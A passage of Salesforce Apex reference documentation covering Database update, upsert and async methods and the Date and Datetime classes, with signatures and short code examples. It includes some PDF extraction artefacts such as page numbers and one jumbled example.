FROM Account WHERE Id = :a.Id];
myAcct.BillingCity = 'San Francisco';
Database.SaveResult SR =
Database.update(myAcct);

update(recordsToUpdate, allOrNone)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organizations data.

Signature
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Boolean allOrNone)

Parameters
recordsToUpdate

Type: sObject []
allOrNone

Return Value
Type: Database.SaveResult[]

Usage
update is analogous to the UPDATE statement in SQL.

Each executed update method counts against the governor limit for DML statements.

update(recordToUpdate, dmlOptions)
Modifies an existing sObject record, such as an individual account or contact, in your organization's data.

Signature
public static Database.SaveResult update(sObject recordToUpdate, Database.DmlOptions
dmlOptions)

2031

Reference

Database Class

Parameters
recordToUpdate

Type: sObject
dmlOptions

Return Value
Type: Database.SaveResult

Usage
update is analogous to the UPDATE statement in SQL.

update(recordsToUpdate, dmlOptions)
Modifies one or more existing sObject records, such as individual accounts or contactsinvoice statements, in your organizations data.

Signature
public static Database.SaveResult[] update(sObject[] recordsToUpdate, Database.DMLOptions
dmlOptions)

Parameters
recordsToUpdate

Type: sObject []
dmlOptions

Return Value
Type: Database.SaveResult[]

Usage
update is analogous to the UPDATE statement in SQL.

2032

Reference

Database Class

upsert(recordToUpsert, externalIdField, allOrNone)

Creates a new sObject record or updates an existing sObject record within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.

Signature
public static Database.UpsertResult upsert(sObject recordToUpsert, Schema.SObjectField
externalIDField, Boolean allOrNone)

Parameters
recordToUpsert

Type: sObject
externalIdField

Type: Schema.SObjectField
The externalIdField is of type Schema.SObjectField, that is, a field token. Find the token for the field by using the
fields special method. For example, Schema.SObjectField f = Account.Fields.MyExternalId. The
externalIdField parameter is the field that upsert() uses to match sObjects with existing records. This field can be a
custom field marked as external ID, or a standard field with the idLookup attribute.
allOrNone

Return Value
Type: Database.UpsertResult

Usage
Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.
Each executed upsert method counts against the governor limit for DML statements.
For more information on how the upsert operation works, see the upsert() statement.

upsert(recordsToUpsert, externalIdField, allOrNone)

Creates new sObject records or updates existing sObject records within a single statement, using a specified field to determine the
presence of existing objects, or the ID field if no field is specified.

Signature
public static Database.UpsertResult[] upsert(sObject[] recordsToUpsert,
Schema.SObjectField externalIdField, Boolean allOrNone)

2033

Reference

Database Class

Parameters
recordsToUpsert

Type: sObject []
externalIdField

Return Value
Type: Database.UpsertResult[]

updateAsync(sobjects, callback)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources. Allows
referencing a callback class whose processSave method is called for each record after the remote operations are completed.

Signature
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects,
DataSource.AsyncSaveCallback callback)

Parameters
sobjects

Type: List<SObject>
List of external object records to modify.
callback

Type: DataSource.AsyncSaveCallback

2034

Reference

Database Class

The callback object that contains the state in the originating context and an action (the processSave method) that executes
after the insert operation is completed. Use the action callback to update org data according to the operations results. The callback
object must extend DataSource.AsyncSaveCallback.

Return Value
Type: List<Database.SaveResult>
Status results for the update operation. Each result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateAsync(sobject, callback)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source. Allows referencing
a callback class whose processSave method is called after the remote operation is completed.

Signature
public static Database.SaveResult updateAsync(SObject sobject,
DataSource.AsyncSaveCallback callback)

Parameters
sobject

Type: SObject
External object record to modify.
callback

Return Value
Type: Database.SaveResult
Status result for the insert operation. The result corresponds to a record processed by this asynchronous operation and is associated
with a unique identifier (asyncLocator). The asyncLocator value is included in the errors array of the result. You can retrieve
this identifier with Database.getAsyncLocator(). Retrieve the final result with Database.getAsyncSaveResult().

updateAsync(sobjects)
Initiates requests to update external object data on the relevant external systems. The requests are executed asynchronously, as background
operations, and are sent to the external systems that are defined by the external objects' associated external data sources.

Signature
public static List<Database.SaveResult> updateAsync(List<SObject> sobjects)

2035

Reference

Database Class

Parameters
sobjects

Type: List<SObject>
List of external object records to modify.

updateAsync(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed asynchronously, as a background
operation, and is sent to the external system that's defined by the external object's associated external data source.

Signature
public static Database.SaveResult updateAsync(SObject sobject)

Parameters
sobject

Type: SObject
External object record to modify.

Signature
public static List<Database.SaveResult> updateImmediate(List<SObject> sobjects)

Parameters
sobjects

Type: List<SObject>

2036

Reference

Date Class

List of external object records to modify.

Return Value
Type: List<Database.SaveResult>
Status results for the update operation.

updateImmediate(sobject)
Initiates a request to update external object data on the relevant external system. The request is executed synchronously and is sent to
the external system that's defined by the external object's associated external data source. If the Apex transaction contains pending
changes, the synchronous operation can't be completed and throws an exception.

Signature
public static Database.SaveResult updateImmediate(SObject sobject)

Parameters
sobject

Type: SObject
External object record to modify.

Return Value
Type: Database.SaveResult
Status result for the update operation.

Date Class
Contains methods for the Date primitive data type.

Namespace
System

Usage
For more information on Dates, see Primitive Data Types on page 27.

Date Methods
The following are methods for Date.
IN THIS SECTION:
addDays(additionalDays)
Adds the specified number of additional days to a Date.

2037

Reference

Date Class

addMonths(additionalMonths)
Adds the specified number of additional months to a Date
addYears(additionalYears)
Adds the specified number of additional years to a Date
day()
Returns the day-of-month component of a Date.
dayOfYear()
Returns the day-of-year component of a Date.
daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.
daysInMonth(year, month)
Returns the number of days in the month for the specified year and month (1=Jan).
format()
Returns the Date as a string using the locale of the context user
isLeapYear(year)
Returns true if the specified year is a leap year.
isSameDay(dateToCompare)
Returns true if the Date that called the method is the same as the specified date.
month()
Returns the month component of a Date (1=Jan).
monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.
newInstance(year, month, date)
Constructs a Date from Integer representations of the year, month (1=Jan), and day.
parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.
today()
Returns the current date in the current user's time zone.
toStartOfMonth()
Returns the first of the month for the Date that called the method.
toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.
valueOf(stringDate)
Returns a Date that contains the value of the specified String.
valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date
value.
year()
Returns the year component of a Date

2038

Reference

Date Class

addDays(additionalDays)
Adds the specified number of additional days to a Date.

Signature
public Date addDays(Integer additionalDays)

Parameters
additionalDays

Type: Integer

Return Value
Type: Date

Example
Date myDate = Date.newInstance(1960, 2, 17);
Date newDate = mydate.addDays(2);

addMonths(additionalMonths)
Adds the specified number of additional months to a Date

Signature
public Date addMonths(Integer additionalMonths)

Parameters
additionalMonths

Type: Integer

Return Value
Type: Date

Example
date myDate = date.newInstance(1990, 11, 21);
date newDate = myDate.addMonths(3);
date expectedDate = date.newInstance(1991, 2, 21);
system.assertEquals(expectedDate, newDate);

addYears(additionalYears)
Adds the specified number of additional years to a Date

2039

Reference

Date Class

Signature
public Date addYears(Integer additionalYears)

Parameters
additionalYears

Type: Integer

Return Value
Type: Date

Example
date myDate = date.newInstance(1983, 7, 15);
date newDate = myDate.addYears(2);
date expectedDate = date.newInstance(1985, 7, 15);
system.assertEquals(expectedDate, newDate);

day()
Returns the day-of-month component of a Date.

Signature
public Integer day()

Return Value
Type: Integer

Example
date myDate = date.newInstance(1989, 4, 21);
Integer day = myDate.day();
system.assertEquals(21, day);

dayOfYear()
Returns the day-of-year component of a Date.

Signature
public Integer dayOfYear()

Return Value
Type: Integer

2040

Reference

Date Class

Example
date myDate = date.newInstance(1998, 10, 21);
Integer day = myDate.dayOfYear();
system.assertEquals(294, day);

daysBetween(secondDate)
Returns the number of days between the Date that called the method and the specified date.

Signature
public Integer daysBetween(Date secondDate)

Parameters
secondDate

Type: Date

Return Value
Type: Integer

Usage
If the Date that calls the method occurs after the secondDate, the return value is negative.

Example
Date startDate = Date.newInstance(2008, 1, 1);
Date dueDate = Date.newInstance(2008, 1, 30);
Integer numberDaysDue = startDate.daysBetween(dueDate);

daysInMonth(year, month)
Returns the number of days in the month for the specified year and month (1=Jan).

Signature
public static Integer daysInMonth(Integer year, Integer month)

Parameters
year

Type: Integer
month

Type: Integer

2041

Reference

Date Class

Return Value
Type: Integer

Example
The following example finds the number of days in the month of February in the year 1960.
Integer numberDays = date.daysInMonth(1960, 2);

format()
Returns the Date as a string using the locale of the context user

Signature
public String format()

Return Value
Type: String

Example
// In American-English locale
date myDate = date.newInstance(2001, 3, 21);
String dayString = myDate.format();
system.assertEquals('3/21/2001', dayString);

isLeapYear(year)
Returns true if the specified year is a leap year.

Signature
public static Boolean isLeapYear(Integer year)

Parameters
year

Type: Integer

Return Value
Type: Boolean

Example
system.assert(Date.isLeapYear(2004));

2042

Reference

Date Class

isSameDay(dateToCompare)
Returns true if the Date that called the method is the same as the specified date.

Signature
public Boolean isSameDay(Date dateToCompare)

Parameters
dateToCompare

Type: Date

Return Value
Type: Boolean

Example
date myDate = date.today();
date dueDate = date.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);

month()
Returns the month component of a Date (1=Jan).

Signature
public Integer month()

Return Value
Type: Integer

Example
date myDate = date.newInstance(2004, 11, 21);
Integer month = myDate.month();
system.assertEquals(11, month);

monthsBetween(secondDate)
Returns the number of months between the Date that called the method and the specified date, ignoring the difference in days.

Signature
public Integer monthsBetween(Date secondDate)

2043

Reference

Date Class

Parameters
secondDate

Type: Date

Return Value
Type: Integer

Example
Date firstDate = Date.newInstance(2006, 12, 2);
Date secondDate = Date.newInstance(2012, 12, 8);
Integer monthsBetween = firstDate.monthsBetween(secondDate);
System.assertEquals(72, monthsBetween);

newInstance(year, month, date)

Constructs a Date from Integer representations of the year, month (1=Jan), and day.

Signature
public static Date newInstance(Integer year, Integer month, Integer date)

Parameters
year

Type: Integer
month

Type: Integer
date

Type: Integer

Return Value
Type: Date

Example
The following example creates the date February 17th, 1960:
Date myDate = date.newinstance(1960, 2, 17);

parse(stringDate)
Constructs a Date from a String. The format of the String depends on the local date format.

Signature
public static Date parse(String stringDate)

2044

Reference

Date Class

Parameters
stringDate

Type: String

Return Value
Type: Date

Example
The following example works in some locales.
date mydate = date.parse('12/27/2009');

today()
Returns the current date in the current user's time zone.

Signature
public static Date today()

Return Value
Type: Date

toStartOfMonth()
Returns the first of the month for the Date that called the method.

Signature
public Date toStartOfMonth()

Return Value
Type: Date

Example
date myDate = date.newInstance(1987, 12, 17);
date firstDate = myDate.toStartOfMonth();
date expectedDate = date.newInstance(1987, 12, 1);
system.assertEquals(expectedDate, firstDate);

toStartOfWeek()
Returns the start of the week for the Date that called the method, depending on the context user's locale.

2045

Reference

Date Class

Signature
public Date toStartOfWeek()

Return Value
Type: Date

Example
For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:
Date myDate = Date.today();
Date weekStart = myDate.toStartofWeek();

valueOf(stringDate)
Returns a Date that contains the value of the specified String.

Signature
public static Date valueOf(String stringDate)

Parameters
stringDate

Type: String

Return Value
Type: Date

Usage
The specified string should use the standard date format yyyy-MM-dd HH:mm:ss in the local time zone.

Example
string
string
string
string
string
string
string
+ '-'
minute

year = '2008';
month = '10';
day = '5';
hour = '12';
minute = '20';
second = '20';
stringDate = year + '-' + month
+ day + ' ' + hour + ':' +
+ ':' + second;

Date myDate = date.valueOf(stringDate);

2046

Reference

Date Class

valueOf(fieldValue)
Converts the specified object to a Date. Use this method to convert a history tracking field value or an object that represents a Date
value.

Signature
public static Date valueOf(Object fieldValue)

Parameters
fieldValue

Type: Object

Return Value
Type: Date

Usage
Use this method with the OldValue or NewValue fields of history sObjects, such as AccountHistory, when the field is a Date
field.
Note: In API version 33.0 or earlier, if you call Date.valueOf with an object that represents a Datetime, the method
returns a Date value that contains the hours, minutes, and seconds. In version 34.0 and later, Date.valueOf converts the
object to a valid Date without the time information. To convert a variable of type Datetime to a Date, use the Datetime.date
method.

Example
This example converts history tracking fields to Date values.
List<AccountHistory> ahlist = [SELECT Field,OldValue,NewValue FROM AccountHistory];
for(AccountHistory ah : ahlist) {
System.debug('Field: ' + ah.Field);
if (ah.field == 'MyDate__c') {
Date oldValue = Date.valueOf(ah.OldValue);
Date newValue = Date.valueOf(ah.NewValue);
}
}

year()
Returns the year component of a Date

Signature
public Integer year()

Return Value
Type: Integer

2047

Reference

Datetime Class

Example
date myDate = date.newInstance(1988, 12, 17);
system.assertEquals(1988, myDate.year());

Datetime Class
Contains methods for the Datetime primitive data type.

Namespace
System

Usage
For more information about the Datetime, see Primitive Data Types on page 27.

Datetime Methods
The following are methods for Datetime.
IN THIS SECTION:
addDays(additionalDays)
Adds the specified number of days to a Datetime.
addHours(additionalHours)
Adds the specified number of hours to a Datetime.
addMinutes(additionalMinutes)
Adds the specified number of minutes to a Datetime.
addMonths(additionalMonths)
Adds the specified number of months to a Datetime.
addSeconds(additionalSeconds)
Adds the specified number of seconds to a Datetime.
addYears(additionalYears)
Adds the specified number of years to a Datetime.
date()
Returns the Date component of a Datetime in the local time zone of the context user.
dateGMT()
Return the Date component of a Datetime in the GMT time zone.
day()
Returns the day-of-month component of a Datetime in the local time zone of the context user.
dayGmt()
Returns the day-of-month component of a Datetime in the GMT time zone.

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Reference

Datetime Class

dayOfYear()
Returns the day-of-year component of a Datetime in the local time zone of the context user.
dayOfYearGmt()
Returns the day-of-year component of a Datetime in the GMT time zone.
format()
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user.
If the time zone cannot be determined, GMT is used.
format(dateFormatString)
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If
the time zone cannot be determined, GMT is used.
format(dateFormatString, timezone)
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format.
If the supplied time zone is not in the correct format, GMT is used.
formatGmt(dateFormatString)
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.
formatLong()
Converts the date to the local time zone and returns the converted date in long date format.
getTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.
hour()
Returns the hour component of a Datetime in the local time zone of the context user.
hourGmt()
Returns the hour component of a Datetime in the GMT time zone.
isSameDay(dateToCompare)
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.
millisecond()
Return the millisecond component of a Datetime in the local time zone of the context user.
millisecondGmt()
Return the millisecond component of a Datetime in the GMT time zone.
minute()
Returns the minute component of a Datetime in the local time zone of the context user.
minuteGmt()
Returns the minute component of a Datetime in the GMT time zone.
month()
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).
monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).
newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.
newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.

2049

Reference

Datetime Class

newInstance(year, month, day)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.
newInstance(year, month, day, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local
time zone.
newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.
newInstanceGmt(year, month, date)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone
newInstanceGmt(year, month, date, hour, minute, second)
Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT
time zone
now()
Returns the current Datetime based on a GMT calendar.
parse(datetimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.
second()
Returns the second component of a Datetime in the local time zone of the context user.
secondGmt()
Returns the second component of a Datetime in the GMT time zone.
time()
Returns the time component of a Datetime in the local time zone of the context user.
timeGmt()
Returns the time component of a Datetime in the GMT time zone.
valueOf(dateTimeString)
Returns a Datetime that contains the value of the specified string.
valueOf(fieldValue)
Converts the specified object to a Datetime. Use this method to convert a history tracking field value or an object that represents a
Datetime value.
valueOfGmt(dateTimeString)
Returns a Datetime that contains the value of the specified String.
year()
Returns the year component of a Datetime in the local time zone of the context user.
yearGmt()
Returns the year component of a Datetime in the GMT time zone.

addDays(additionalDays)
Adds the specified number of days to a Datetime.

2050

Reference

Datetime Class

Signature
public Datetime addDays(Integer additionalDays)

Parameters
additionalDays

Type: Integer

Return Value
Type: Datetime

Example
Datetime myDateTime = Datetime.newInstance(1960, 2, 17);
Datetime newDateTime = myDateTime.addDays(2);
Datetime expected = Datetime.newInstance(1960, 2, 19);
System.assertEquals(expected, newDateTime);

addHours(additionalHours)
Adds the specified number of hours to a Datetime.

Signature
public Datetime addHours(Integer additionalHours)

Parameters
additionalHours

Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(1997, 1, 31, 7, 8, 16);
DateTime newDateTime = myDateTime.addHours(3);
DateTime expected = DateTime.newInstance(1997, 1, 31, 10, 8, 16);
System.assertEquals(expected, newDateTime);

addMinutes(additionalMinutes)
Adds the specified number of minutes to a Datetime.

Signature
public Datetime addMinutes(Integer additionalMinutes)

2051

Reference

Datetime Class

Parameters
additionalMinutes

Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(1999, 2, 11, 8, 6, 16);
DateTime newDateTime = myDateTime.addMinutes(7);
DateTime expected = DateTime.newInstance(1999, 2, 11, 8, 13, 16);
System.assertEquals(expected, newDateTime);

addMonths(additionalMonths)
Adds the specified number of months to a Datetime.

Signature
public Datetime addMonths(Integer additionalMonths)

Parameters
additionalMonths

Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(2000, 7, 7, 7, 8, 12);
DateTime newDateTime = myDateTime.addMonths(1);
DateTime expected = DateTime.newInstance(2000, 8, 7, 7, 8, 12);
System.assertEquals(expected, newDateTime);

addSeconds(additionalSeconds)
Adds the specified number of seconds to a Datetime.

Signature
public Datetime addSeconds(Integer additionalSeconds)

2052

Reference

Datetime Class

Parameters
additionalSeconds

Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(2001, 7, 19, 10, 7, 12);
DateTime newDateTime = myDateTime.addSeconds(4);
DateTime expected = DateTime.newInstance(2001, 7, 19, 10, 7, 16);
System.assertEquals(expected, newDateTime);

addYears(additionalYears)
Adds the specified number of years to a Datetime.

Signature
public Datetime addYears(Integer additionalYears)

Parameters
additionalYears

Type: Integer

Return Value
Type: Datetime

Example
DateTime myDateTime = DateTime.newInstance(2009, 12, 17, 13, 6, 6);
DateTime newDateTime = myDateTime.addYears(1);
DateTime expected = DateTime.newInstance(2010, 12, 17, 13, 6, 6);
System.assertEquals(expected, newDateTime);

date()
Returns the Date component of a Datetime in the local time zone of the context user.

Signature
public Date date()

Return Value
Type: Date

2053

Reference

Datetime Class

Example
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 12, 6, 13);
Date myDate = myDateTime.date();
Date expected = Date.newInstance(2006, 3, 16);
System.assertEquals(expected, myDate);

dateGMT()
Return the Date component of a Datetime in the GMT time zone.

Signature
public Date dateGMT()

Return Value
Type: Date

Example
// California local time, PST
DateTime myDateTime = DateTime.newInstance(2006, 3, 16, 23, 0, 0);
Date myDate = myDateTime.dateGMT();
Date expected = Date.newInstance(2006, 3, 17);
System.assertEquals(expected, myDate);

day()
Returns the day-of-month component of a Datetime in the local time zone of the context user.

Signature
public Integer day()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(1986, 2, 21, 23, 0, 0);
System.assertEquals(21, myDateTime.day());

dayGmt()
Returns the day-of-month component of a Datetime in the GMT time zone.

Signature
public Integer dayGmt()

2054

Reference

Datetime Class

Return Value
Type: Integer

Example
// California local time, PST
DateTime myDateTime = DateTime.newInstance(1987, 1, 14, 23, 0, 3);
System.assertEquals(15, myDateTime.dayGMT());

dayOfYear()
Returns the day-of-year component of a Datetime in the local time zone of the context user.

Signature
public Integer dayOfYear()

Return Value
Type: Integer

Example
For example, February 5, 2008 08:30:12 would be day 36.
Datetime myDate = Datetime.newInstance(2008, 2, 5, 8, 30, 12);
system.assertEquals(myDate.dayOfYear(), 36);

dayOfYearGmt()
Returns the day-of-year component of a Datetime in the GMT time zone.

Signature
public Integer dayOfYearGmt()

Return Value
Type: Integer

Example
// This sample assumes we are in the PST timezone
DateTime myDateTime = DateTime.newInstance(1999, 2, 5, 23, 0, 3);
// January has 31 days + 5 days in February = 36 days
// dayOfYearGmt() adjusts the time zone from the current time zone to GMT
// by adding 8 hours to the PST time zone, so it's 37 days and not 36 days
System.assertEquals(37, myDateTime.dayOfYearGmt());

2055

Reference

Datetime Class

format()
Converts the date to the local time zone and returns the converted date as a formatted string using the locale of the context user. If the
time zone cannot be determined, GMT is used.

Signature
public String format()

Return Value
Type: String

Example
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
system.assertEquals('6/6/1993 3:03 AM', mydatetime.format());

format(dateFormatString)
Converts the date to the local time zone and returns the converted date as a string using the supplied Java simple date format. If the
time zone cannot be determined, GMT is used.

Signature
public String format(String dateFormatString)

Parameters
dateFormatString

Type: String

Return Value
Type: String

Usage
For more information on the Java simple date format, see Java SimpleDateFormat.

Example
Datetime myDT = Datetime.now();
String myDate = myDT.format('h:mm a');

format(dateFormatString, timezone)
Converts the date to the specified time zone and returns the converted date as a string using the supplied Java simple date format. If
the supplied time zone is not in the correct format, GMT is used.

2056

Reference

Datetime Class

Signature
public String format(String dateFormatString, String timezone)

Parameters
dateFormatString

Type: String
timezone

Type: String
Valid time zone values for the timezone argument are the time zones of the Java TimeZone class that correspond to the time
zones returned by the TimeZone.getAvailableIDs method in Java. We recommend you use full time zone names, not the three-letter
abbreviations.

Return Value
Type: String

Usage
For more information on the Java simple date format, see Java SimpleDateFormat.

Example
This example uses format to convert a GMT date to the America/New_York time zone and formats the date using the specified date
format.
Datetime GMTDate =
Datetime.newInstanceGmt(2011,6,1,12,1,5);
String strConvertedDate =
GMTDate.format('MM/dd/yyyy HH:mm:ss',
'America/New_York');
// Date is converted to
// the new time zone and is adjusted
// for daylight saving time.
System.assertEquals(
'06/01/2011 08:01:05', strConvertedDate);

formatGmt(dateFormatString)
Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone.

Signature
public String formatGmt(String dateFormatString)

Parameters
dateFormatString

Type: String

2057

Reference

Datetime Class

Return Value
Type: String

Usage
For more information on the Java simple date format, see Java SimpleDateFormat.

Example
DateTime myDateTime = DateTime.newInstance(1993, 6, 6, 3, 3, 3);
String formatted = myDateTime.formatGMT('EEE, MMM d yyyy HH:mm:ss');
String expected = 'Sun, Jun 6 1993 10:03:03';
System.assertEquals(expected, formatted);

formatLong()
Converts the date to the local time zone and returns the converted date in long date format.

Signature
public String formatLong()

Return Value
Type: String

Example
// Passing local date based on the PST time zone
Datetime dt = DateTime.newInstance(2012,12,28,10,0,0);
// Writes 12/28/2012 10:00:00 AM PST
System.debug('dt.formatLong()=' + dt.formatLong());

getTime()
Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object.

Signature
public Long getTime()

Return Value
Type: Long

Example
DateTime dt = DateTime.newInstance(2007, 6, 23, 3, 3, 3);
Long gettime = dt.getTime();

2058

Reference

Datetime Class

Long expected = 1182592983000L;

System.assertEquals(expected, gettime);

hour()
Returns the hour component of a Datetime in the local time zone of the context user.

Signature
public Integer hour()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(1998, 11, 21, 3, 3, 3);
System.assertEquals(3 , myDateTime.hour());

hourGmt()
Returns the hour component of a Datetime in the GMT time zone.

Signature
public Integer hourGmt()

Return Value
Type: Integer

Example
// California local time
DateTime myDateTime = DateTime.newInstance(2000, 4, 27, 3, 3, 3);
System.assertEquals(10 , myDateTime.hourGMT());

isSameDay(dateToCompare)
Returns true if the Datetime that called the method is the same as the specified Datetime in the local time zone of the context user.

Signature
public Boolean isSameDay(Datetime dateToCompare)

Parameters
dateToCompare

Type: Datetime

2059

Reference

Datetime Class

Return Value
Type: Boolean

Example
datetime myDate = datetime.now();
datetime dueDate =
datetime.newInstance(2008, 1, 30);
boolean dueNow = myDate.isSameDay(dueDate);

millisecond()
Return the millisecond component of a Datetime in the local time zone of the context user.

Signature
public Integer millisecond()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecond());

millisecondGmt()
Return the millisecond component of a Datetime in the GMT time zone.

Signature
public Integer millisecondGmt()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.now();
system.debug(myDateTime.millisecondGMT());

minute()
Returns the minute component of a Datetime in the local time zone of the context user.

2060

Reference

Datetime Class

Signature
public Integer minute()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(2001, 2, 27, 3, 3, 3);
system.assertEquals(3, myDateTime.minute());

minuteGmt()
Returns the minute component of a Datetime in the GMT time zone.

Signature
public Integer minuteGmt()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(2002, 12, 3, 3, 3, 3);
system.assertEquals(3, myDateTime.minuteGMT());

month()
Returns the month component of a Datetime in the local time zone of the context user (1=Jan).

Signature
public Integer month()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(2004, 11, 4, 3, 3, 3);
system.assertEquals(11, myDateTime.month());

monthGmt()
Returns the month component of a Datetime in the GMT time zone (1=Jan).

2061

Reference

Datetime Class

Signature
public Integer monthGmt()

Return Value
Type: Integer

Example
DateTime myDateTime = DateTime.newInstance(2006, 11, 19, 3, 3, 3);
system.assertEquals(11, myDateTime.monthGMT());

newInstance(milliseconds)
Constructs a Datetime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT.

Signature
public static Datetime newInstance(Long milliseconds)

Parameters
milliseconds

Type: Long

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
Long longtime = 1341828183000L;
DateTime dt = DateTime.newInstance(longtime);
DateTime expected = DateTime.newInstance(2012, 7, 09, 3, 3, 3);
System.assertEquals(expected, dt);

newInstance(date, time)
Constructs a DateTime from the specified date and time in the local time zone.

Signature
public static Datetime newInstance(Date date, Time time)

Parameters
date

Type: Date

2062

Reference

Datetime Class

time

Type: Time

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
Date myDate = Date.newInstance(2011, 11, 18);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstance(myDate, myTime);
DateTime expected = DateTime.newInstance(2011, 11, 18, 3, 3, 3);
System.assertEquals(expected, dt);

newInstance(year, month, day)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the local time zone.

Signature
public static Datetime newInstance(Integer year, Integer month, Integer day)

Parameters
year

Type: Integer
month

Type: Integer
day

Type: Integer

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
datetime myDate = datetime.newInstance(2008, 12, 1);

newInstance(year, month, day, hour, minute, second)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the local time
zone.

2063

Reference

Datetime Class

Signature
public static Datetime newInstance(Integer year, Integer month, Integer day, Integer
hour, Integer minute, Integer second)

Parameters
year

Type: Integer
month

Type: Integer
day

Type: Integer
hour

Type: Integer
minute

Type: Integer
second

Type: Integer

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
Datetime myDate = Datetime.newInstance(2008, 12, 1, 12, 30, 2);

newInstanceGmt(date, time)
Constructs a DateTime from the specified date and time in the GMT time zone.

Signature
public static Datetime newInstanceGmt(Date date, Time time)

Parameters
date

Type: Date
time

Type: Time

Return Value
Type: Datetime

2064

Reference

Datetime Class

Example
Date myDate = Date.newInstance(2013, 11, 12);
Time myTime = Time.newInstance(3, 3, 3, 0);
DateTime dt = DateTime.newInstanceGMT(myDate, myTime);
DateTime expected = DateTime.newInstanceGMT(2013, 11, 12, 3, 3, 3);
System.assertEquals(expected, dt);

newInstanceGmt(year, month, date)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), and day at midnight in the GMT time zone

Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date)

Parameters
year

Type: Integer
month

Type: Integer
date

Type: Integer

Return Value
Type: Datetime

Example
DateTime dt = DateTime.newInstanceGMT(1996, 3, 22);

newInstanceGmt(year, month, date, hour, minute, second)

Constructs a Datetime from Integer representations of the specified year, month (1=Jan), day, hour, minute, and second in the GMT
time zone

Signature
public static Datetime newInstanceGmt(Integer year, Integer month, Integer date, Integer
hour, Integer minute, Integer second)

Parameters
year

Type: Integer
month

Type: Integer

2065

Reference

Datetime Class

date

Type: Integer
hour

Type: Integer
minute

Type: Integer
second

Type: Integer

Return Value
Type: Datetime

Example
//California local time
DateTime dt = DateTime.newInstanceGMT(1998, 1, 29, 2, 2, 3);
DateTime expected = DateTime.newInstance(1998, 1, 28, 18, 2, 3);
System.assertEquals(expected, dt);

now()
Returns the current Datetime based on a GMT calendar.

Signature
public static Datetime now()

Return Value
Type: Datetime
The format of the returned datetime is: 'MM/DD/YYYY HH:MM PERIOD'

Example
datetime myDateTime = datetime.now();

parse(datetimeString)
Constructs a Datetime from the given String in the local time zone and in the format of the user locale.

Signature
public static Datetime parse(String datetimeString)

2066

Reference

Datetime Class

Parameters
datetimeString

Type: String

Return Value
Type: Datetime
The returned date is in the GMT time zone.

Example
This example uses parse to create a Datetime from a date passed in as a string and that is formatted for the English (United States)
locale. You may need to change the format of the date string if you have a different locale.
Datetime dt = DateTime.parse('10/14/2011 11:46 AM');
String myDtString = dt.format();
system.assertEquals(myDtString, '10/14/2011 11:46 AM');

second()
